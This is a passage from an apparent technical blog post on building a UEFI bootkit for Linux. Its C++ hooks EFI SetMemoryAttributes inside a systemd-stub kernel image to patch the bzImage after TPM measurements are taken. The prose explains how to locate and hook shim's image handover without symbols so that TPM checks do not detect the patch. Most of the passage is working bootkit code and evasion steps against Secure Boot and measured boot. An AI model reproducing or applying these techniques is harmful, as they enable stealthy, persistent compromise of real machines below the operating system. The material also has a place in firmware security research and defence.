</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">RETURN_INVALID_PARAMETER</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">EFI_SUCCESS</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The actual <code>SetMemoryAttributes</code> hook verifies if BaseAddress contains same data as the embedded bzImage, then proceeds with bzImage hooking which I will explain next:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">EFI_STATUS</span> <span class="n">EFIAPI</span> <span class="n">hooks</span><span class="o">::</span><span class="n">efi</span><span class="o">::</span><span class="n">SetMemoryAttributes</span><span class="p">(</span><span class="n">EFI_MEMORY_ATTRIBUTE_PROTOCOL</span> <span class="o">*</span><span class="n">This</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                  <span class="n">EFI_PHYSICAL_ADDRESS</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">UINT64</span> <span class="n">Length</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                                  <span class="n">UINT64</span> <span class="n">Attributes</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">c</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">void</span> <span class="o">*</span><span class="n">sig</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">UINT64</span> <span class="n">count</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">return_address</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">_linux_section</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">_linux_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">is_bzimage</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// ensure we got called from within UKI
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">return_address</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">__builtin_return_address</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">return_address</span> <span class="o">&lt;</span> <span class="n">uki_image_base</span> <span class="o">||</span> <span class="n">return_address</span> <span class="o">&gt;</span> <span class="n">uki_image_end</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_SetMemoryAttributes</span><span class="p">(</span><span class="n">This</span><span class="p">,</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">Length</span><span class="p">,</span> <span class="n">Attributes</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// SystemD stub sets EFI_MEMORY_RO, then calls ClearMemoryAttributes with EFI_MEMORY_XP:
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// https://github.com/systemd/systemd/blob/77b9a626ce0a79858d946ac73f4950e9e4c6f28a/src/boot/linux.c#L116
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">Attributes</span> <span class="o">&amp;</span> <span class="n">EFI_MEMORY_RO</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_SetMemoryAttributes</span><span class="p">(</span><span class="n">This</span><span class="p">,</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">Length</span><span class="p">,</span> <span class="n">Attributes</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// we are in linux_exec, after TPM measurements and before handover. verify that BaseAddress is
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// bzImage code, then patch before RO protection. count must be long enough for an unique
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// signature
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// https://github.com/systemd/systemd/blob/e3a224a46dea61b861d3f6ea79ad4abb0fab4b3a/src/boot/stub.c#L1310
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// https://github.com/systemd/systemd/blob/e3a224a46dea61b861d3f6ea79ad4abb0fab4b3a/src/boot/linux.c#L336
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">count</span> <span class="o">=</span> <span class="n">MIN</span><span class="p">(</span><span class="n">Length</span><span class="p">,</span> <span class="mi">128</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">count</span> <span class="o">&lt;</span> <span class="mi">32</span> <span class="cm">/* not long enough */</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_SetMemoryAttributes</span><span class="p">(</span><span class="n">This</span><span class="p">,</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">Length</span><span class="p">,</span> <span class="n">Attributes</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// shouldn&#39;t ever be possible, just in case
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pe</span><span class="o">::</span><span class="n">get_section</span><span class="p">(</span><span class="n">uki_image_base</span><span class="p">,</span> <span class="s">&#34;.linux&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">_linux_section</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">_linux_size</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_SetMemoryAttributes</span><span class="p">(</span><span class="n">This</span><span class="p">,</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">Length</span><span class="p">,</span> <span class="n">Attributes</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">_linux_size</span> <span class="o">&lt;</span> <span class="n">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">original_SetMemoryAttributes</span><span class="p">(</span><span class="n">This</span><span class="p">,</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">Length</span><span class="p">,</span> <span class="n">Attributes</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// finally, check if it is bzImage or not
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">c</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">_linux_section</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">sig</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">BaseAddress</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">is_bzimage</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">_linux_size</span> <span class="o">-</span> <span class="n">count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">CompareMem</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">sig</span><span class="p">,</span> <span class="n">count</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">is_bzimage</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">is_bzimage</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">uint8_t</span> <span class="n">reg</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;looking for enter_kernel...</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="n">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">Length</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">heuristic</span><span class="o">::</span><span class="n">is_enter_kernel</span><span class="p">(</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">reg</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">dbg</span><span class="o">::</span><span class="n">print</span><span class="p">(</span><span class="n">DEBUG_INFO</span><span class="p">,</span> <span class="s">&#34;found enter_kernel at %Lx</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">hooks</span><span class="o">::</span><span class="n">bzimage</span><span class="o">::</span><span class="n">try_hook_enter_kernel</span><span class="p">(</span><span class="n">BaseAddress</span> <span class="o">+</span> <span class="n">i</span><span class="p">,</span> <span class="n">reg</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nf">original_SetMemoryAttributes</span><span class="p">(</span><span class="n">This</span><span class="p">,</span> <span class="n">BaseAddress</span><span class="p">,</span> <span class="n">Length</span><span class="p">,</span> <span class="n">Attributes</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>is_enter_kernel</code> is a heuristic function checking whether <code>BaseAddress + i</code> points to a <a href="https://elixir.bootlin.com/linux/v6.19.8/source/drivers/firmware/efi/libstub/x86-stub.c#L902">enter_kernel jump</a>. This is version specific, hence a heuristic rather than pattern scanning. Explanation and details later.</p>
<h3 id="shim">SHIM</h3>
<p>As aforementioned, shim loader (<code>shimx64.efi</code>) does various things different and its purpose is to enforce secure boot and TPM. It ships in most distros supporting Secure Boot, being signed with Microsoft&rsquo;s key. <a href="https://github.com/rhboot/shim/blob/main/shim.c#L1021">The shim loader hooks <code>LoadImage</code>, <code>StartImage</code>, and <code>UnloadImage</code></a>, runs TPM measurements over loaded images, <a href="https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/shim.c#L419">and implements manual handover to images passing a local copy of the system services table</a> with <code>BootServices</code> hooked.</p>
<p>If you simply patch within <code>LoadImage</code>, TPM will catch you (true for shim loader specifically, as it compares post-loading). You would need to hook the shim&rsquo; handover, typically a CALL to a stack-relative function pointer or register in a custom function called <a href="https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/shim.c#L419">start_image</a> or <a href="https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/loader-proto.c#L371">shim_start_image</a></p>
<p>To find <code>hook_system_services</code> and <code>unhook_system_services</code> without symbols:</p>
<ul>
<li>Locate <code>lea reg, &quot;shim_init&quot;</code> (<a href="https://github.com/rhboot/shim/blob/4dc4a1bf85542706d345230eb72a0e52d6f0c452/shim.c#L1010">invariant</a> of <a href="https://github.com/rhboot/shim/blob/main/shim.h#L302">perror expansion</a>) or &ldquo;set_second_stage() failed: %r\n&rdquo; (both unique to <code>shim_init</code>)</li>
<li>Walk up to 384 bytes of <code>E8</code> calls from the found <code>lea</code>. It&rsquo;s sufficient to catch <code>call hook_system_services</code> and possibly <code>shim_fini</code>&rsquo; <code>call unhook_system_services</code> as they are usually adjacent. For each destination, inspect 128 bytes (Debian&rsquo; shimx64.efi <code>hook_system_services</code> are both ~96 bytes each, for reference) for <code>mov</code>s with displacement equal to offset of <code>LoadImage</code>, <code>UnloadImage</code> and <code>StartImage</code> in Boot Services table.</li>
<li>If <code>shim_fini</code> is not adjacent, previous logic will just catch <code>hook_system_services</code>. Find a LEA to <code>L&quot;ShimRetainProtocol&quot;</code>, unique to <code>efi_main</code>, a caller of <code>shim_fini</code>. Walk <code>E8</code> calls forward until <code>init_grub</code>, the following call is <code>shim_fini</code>, which calls <code>unhook_system_services</code>.</li>
</ul>
<p>To identify if <code>E8</code> is calling <code>init_grub</code>, find <code>LEA</code>s to string exclusive to <code>init_grub</code>. within ~600 bytes you should see a <code>lea reg, &quot;start_image() returned %r\n&quot;</code>, however, this function also calls a static function first which could be inlined, messing up this search radius. That function is <code>should_use_fallback</code>, and <code>init_grub</code> is the only caller. In that case, do an early check for <code>lea reg, &quot;should_use_fallback&quot;</code>. That string reference comes from the expansion of <code>perror</code>, which ends inlined in <code>init_grub</code> up to typically 160 bytes in the function.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">destination</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">destination2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// REX with W bit + LEA
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">])</span> <span class="o">||</span> <span class="o">!</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">&amp;</span> <span class="n">P_W_BIT</span><span class="p">)</span> <span class="o">||</span> <span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x8D</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">disp32</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">f</span><span class="p">[</span><span class="n">j</span> <span class="o">+</span> <span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="n">destination2</span> <span class="o">=</span> <span class="n">destination</span> <span class="o">+</span> <span class="n">j</span> <span class="o">+</span> <span class="mi">7</span> <span class="o">+</span> <span class="n">disp32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">destination2</span> <span class="o">&lt;</span> <span class="n">shim_base</span> <span class="o">||</span> <span class="n">destination2</span> <span class="o">&gt;</span> <span class="p">(</span><span class="n">shim_base</span> <span class="o">+</span> <span class="n">shim_size</span><span class="p">)</span> <span class="o">-</span> <span class="mi">20</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// still in range for a realistic inlined should_use_fallback. perror expands a string
</span></span></span><span class="line"><span class="cl"><span class="c1">// containing the function name, test for it
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="n">j</span> <span class="o">&lt;</span> <span class="mi">160</span> <span class="o">&amp;&amp;</span>
</span></span><span class="line"><span class="cl">    <span class="o">!</span><span class="n">AsciiStrCmp</span><span class="p">(</span><span class="s">&#34;should_use_fallback&#34;</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">CHAR8</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">destination2</span><span class="p">)))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">init_grub_found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">i</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 4, since i++ will make it 5 to skip this E8 ?? ?? ?? ??
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">AsciiStrCmp</span><span class="p">(</span><span class="s">&#34;start_image() returned %r</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">CHAR8</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">destination2</span><span class="p">)))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">init_grub_found</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">i</span> <span class="o">+=</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// 4, since i++ will make it 5 to skip this E8 ?? ?? ?? ??
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>To test if the current instruction is accessing a disp (matching first if <code>f[j]</code> points to first byte of the encoded displacement in the <code>mov</code> instruction:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">static</span> <span class="k">constexpr</span> <span class="k">auto</span> <span class="n">loadimage_offset</span> <span class="o">=</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">EFI_BOOT_SERVICES</span><span class="p">,</span> <span class="n">LoadImage</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="k">constexpr</span> <span class="k">auto</span> <span class="n">unloadimage_offset</span> <span class="o">=</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">EFI_BOOT_SERVICES</span><span class="p">,</span> <span class="n">UnloadImage</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">static</span> <span class="k">constexpr</span> <span class="k">auto</span> <span class="n">startimage_offset</span> <span class="o">=</span> <span class="n">offsetof</span><span class="p">(</span><span class="n">EFI_BOOT_SERVICES</span><span class="p">,</span> <span class="n">StartImage</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">auto</span> <span class="n">is_accessing_disp</span> <span class="o">=</span> <span class="p">[</span><span class="o">&amp;</span><span class="p">](</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="n">code</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">offset</span><span class="p">,</span> <span class="kt">bool</span> <span class="n">is_disp32</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">bool</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">int32_t</span> <span class="n">disp</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">rex</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">modrm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">mod</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">rm</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="n">sib</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">bool</span> <span class="n">assume_sib</span> <span class="o">=</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">offset</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">is_disp32</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">disp</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">code</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">disp</span> <span class="o">!=</span> <span class="n">offset</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">disp</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">code</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">disp</span> <span class="o">!=</span> <span class="k">static_cast</span><span class="o">&lt;</span><span class="kt">int8_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">offset</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 8B for reads, 89 for writes
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x8B</span> <span class="o">||</span> <span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0x89</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">assume_sib</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span> <span class="nf">if</span> <span class="p">(</span><span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x8B</span> <span class="o">&amp;&amp;</span> <span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">]</span> <span class="o">!=</span> <span class="mh">0x89</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">rex</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="n">assume_sib</span> <span class="o">?</span> <span class="o">-</span><span class="mi">4</span> <span class="o">:</span> <span class="o">-</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">P_IS_REX</span><span class="p">(</span><span class="n">rex</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_W_BIT</span><span class="p">)</span> <span class="o">||</span> <span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_X_BIT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">modrm</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="n">assume_sib</span> <span class="o">?</span> <span class="o">-</span><span class="mi">2</span> <span class="o">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="n">mod</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&gt;&gt;</span> <span class="mi">6</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">rm</span> <span class="o">=</span> <span class="n">modrm</span> <span class="o">&amp;</span> <span class="mb">0b111</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// rm says it has SIB
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">rm</span> <span class="o">==</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// nonsensical
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">assume_sib</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// not RSP relative
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">(</span><span class="n">rex</span> <span class="o">&amp;</span> <span class="n">P_B_BIT</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// reg to reg, not what we want
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">==</span> <span class="mb">0b11</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// mismatch, mod 1 implies disp8 (and disp32 when 2)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">==</span> <span class="mb">0b01</span> <span class="o">&amp;&amp;</span> <span class="n">is_disp32</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">==</span> <span class="mb">0b10</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">is_disp32</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// displacement 0 or rip relative
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">mod</span> <span class="o">==</span> <span class="mb">0b00</span> <span class="o">&amp;&amp;</span> <span class="p">((</span><span class="n">offset</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="o">||</span> <span class="n">rm</span> <span class="o">==</span> <span class="mi">5</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">assume_sib</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">sib</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// fixed offset
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="k">if</span> <span class="p">((</span><span class="n">sib</span> <span class="o">&amp;</span> <span class="mb">0b111000</span><span class="p">)</span> <span class="o">!=</span> <span class="mb">0b100000</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
